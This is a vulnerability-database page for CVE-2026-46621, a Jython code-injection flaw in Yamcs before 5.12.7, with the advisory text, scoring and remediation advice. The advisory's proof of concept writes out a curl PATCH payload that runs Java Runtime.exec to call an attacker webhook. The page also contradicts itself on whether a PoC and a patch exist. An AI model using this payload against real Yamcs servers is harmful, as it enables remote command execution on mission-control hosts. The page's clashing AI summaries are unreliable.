Skip to main content

Yamcs CVE-2026-46621

| EUVDEUVD-2026-44959 CRITICAL
Code Injection (CWE-94)
2026-05-27 https://github.com/yamcs/yamcs GHSA-2g95-6x5q-xjwj
9.1
CVSS 3.1 · Vendor: https://github.com/yamcs/yamcs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with ChangeMissionDatabase privilege
  2. Delivery
    PATCH existing Python algorithm via MDB API
  3. Exploit
    Inject Jython java.lang.Runtime payload
  4. Execution
    Send dependent telemetry to trigger evaluation
  5. Impact
    Execute OS commands as Yamcs host process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three concrete prerequisites must hold: (1) the Yamcs instance has a Jython script engine on its classpath (e.g., jython-standalone is bundled); (2) the attacker possesses a valid authentication token for a user granted SystemPrivilege.ChangeMissionDatabase; and (3) an algorithm with its language explicitly set to 'python' already exists in the Mission Database, because Yamcs blocks changing an algorithm's engine via the API - so the attacker must target a pre-existing Python algorithm rather than create one in a different language. Exploitation is further gated on the injected algorithm actually being evaluated, which requires the relevant dependent telemetry parameters to be updated so the processor runs the script. Limiting factors per the CVSS vector (PR:H, no UI): high application privileges are mandatory and no victim interaction is needed, but deployments that do not load Jython, that do not expose Python-language algorithms, or that restrict ChangeMissionDatabase to trusted staff are not practically exploitable.

Impact

The CVSS 3.1 base score is 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H): network-reachable, low attack complexity, no user interaction, full confidentiality/integrity/availability impact, and a changed scope reflecting escalation from application-level configuration rights to OS-level control. The single most important mitigating signal is PR:H - exploitation requires an authenticated principal already holding the ChangeMissionDatabase system privilege, so this is a privilege-escalation/insider or post-compromise vector rather than an unauthenticated internet-facing RCE. A functioning PoC is published, which raises practical risk, but absence from CISA KEV and no evidence of active exploitation temper urgency. No EPSS score was provided in the input, so probabilistic exploitation likelihood cannot be quantified here. Net assessment: real and high-impact in environments that delegate ChangeMissionDatabase broadly, but the high-privilege precondition makes it a strong priority chiefly where that privilege is not tightly held.

Exploit ScenarioDerived

An operator or compromised account that holds the ChangeMissionDatabase privilege sends an authenticated PATCH to /api/mdb/{instance}/realtime/algorithms/... replacing an existing Python algorithm's body with Jython code that calls java.lang.Runtime.getRuntime().exec(...). When dependent telemetry arrives and the processor evaluates the algorithm, the injected command runs as the Yamcs server process, e.g. fetching a webhook or spawning a reverse shell. A working PoC demonstrating exactly this curl-based payload is published in the advisory.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 27, 2026

Remote code execution in Yamcs (the open-source mission control framework, yamcs-core) before 5.12.7 lets an authenticated operator holding the ChangeMissionDatabase privilege overwrite a Python (Jython) algorithm via the Mission Database REST API and run arbitrary OS commands on the host. The Jython script engine is invoked without a sandbox, so injected algorithm text can import java.lang.Runtime and shell out. Publicly available exploit code exists (a full PoC is published in the GitHub Security Advisory), but the issue is not listed in CISA KEV and no public in-the-wild exploitation is identified.

RemediationAI

Vendor-released patch: 5.12.7 - upgrade org.yamcs:yamcs-core to 5.12.7 or later as the primary fix. Where immediate upgrade is not possible, reduce the privilege surface by auditing and revoking the SystemPrivilege.ChangeMissionDatabase grant so only a minimal, trusted set of operators retains it (trade-off: those users lose the ability to edit the Mission Database at runtime). As a stronger compensating control, remove the Jython/jython-standalone scripting engine from the deployment classpath if Python algorithms are not required, which eliminates the execution path entirely (trade-off: any existing Python-language algorithms will stop functioning). Additionally restrict network access to the Yamcs HTTP API (default port 8090), particularly the /api/mdb/{instance}/realtime/algorithms/ endpoints, to trusted management networks. See the advisory at https://github.com/yamcs/yamcs/security/advisories/GHSA-2g95-6x5q-xjwj for authoritative guidance.

Affected VersionsENISA

yamcs < 5.12.7

Affected Packages

maven org.yamcs:yamcs-core fix: 5.12.7
euvd yamcs fix: 5.12.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Yamcs supports user-defined telemetry/command algorithms written in scripting languages. For Python-language algorithms, the AlgorithmManager uses ScriptAlgorithmExecutorFactory to obtain a JSR-223 javax.script.ScriptEngine backed by Jython (the jython-standalone dependency). Jython compiles and evaluates the user-supplied algorithm body with no security manager or restricted execution context, and because Jython offers seamless interop with the host JVM, script code can import native Java classes such as java.lang.Runtime and ProcessBuilder. This is a textbook CWE-94 (Improper Control of Generation of Code / Code Injection) flaw: untrusted text supplied through the MDB API at /api/mdb/{instance}/realtime/algorithms/{name} is treated as executable code. The affected artifact is the Maven package pkg:maven/org.yamcs:yamcs-core.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/yamcs/yamcs) PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/yamcs/yamcs) · only source for this CVE.

CVSS VectorVendor: https://github.com/yamcs/yamcs

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.

Details

The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (/api/mdb/{instance}/realtime/algorithms/{name}), the AlgorithmManager uses the ScriptAlgorithmExecutorFactory to instantiate a JSR-223 ScriptEngine (in this case, Jython/Python).

Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as java.lang.Runtime. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.

PoC

Prerequisites:

  1. A running Yamcs instance with the Jython engine available in its classpath (e.g., jython-standalone dependency included).
  2. An active authentication token for a user with the SystemPrivilege.ChangeMissionDatabase privilege.
  3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to python (e.g., a custom poc algorithm). *Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.*

Exploitation Steps:

  1. Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages java.lang.Runtime to execute an OS command (e.g., triggering an external webhook or a reverse shell).
bash
    curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \
         -H 'Content-Type: application/json' \
         -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \
         -d '{
           "action": "SET",
           "algorithm": {
             "text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0"
           }
         }'

*(Note: Assigning a valid output like out0.value = 1.0 ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).*

  1. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the simulator.py script to update the required parameters like Sunsensor).
  2. The Yamcs server compiles the injected text into an executable script on the fly.
  3. Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.

Impact

It impacts any Yamcs deployment where users are granted the ChangeMissionDatabase privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.

Credits

Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 6 maven packages depend on org.yamcs:yamcs-core (6 direct, 0 indirect)

Ecosystem-wide dependent count for version 5.12.7.

Executive ViewAI

Why It Matters

Yamcs, the open-source mission control framework used in aerospace and critical infrastructure operations, contains a critical remote code execution vulnerability affecting authenticated operators with database modification privileges. Compromised or malicious operator accounts can inject and execute arbitrary operating system commands on mission-critical control servers through algorithm modification, with no patched version currently available.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Enforce principle-of-least-privilege by restricting ChangeMissionDatabase privilege to only mission-critical personnel; (2) disable or network-isolate REST API endpoints if not operationally required; (3) mandate multi-factor authentication for all operator accounts with algorithm modification capability; (4) enable comprehensive audit logging of algorithm modifications and operator actions; (5) implement network segmentation between mission control systems and general enterprise infrastructure.

Threat Intelligence Overview

EPSS Score
0.5%
Top 35% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy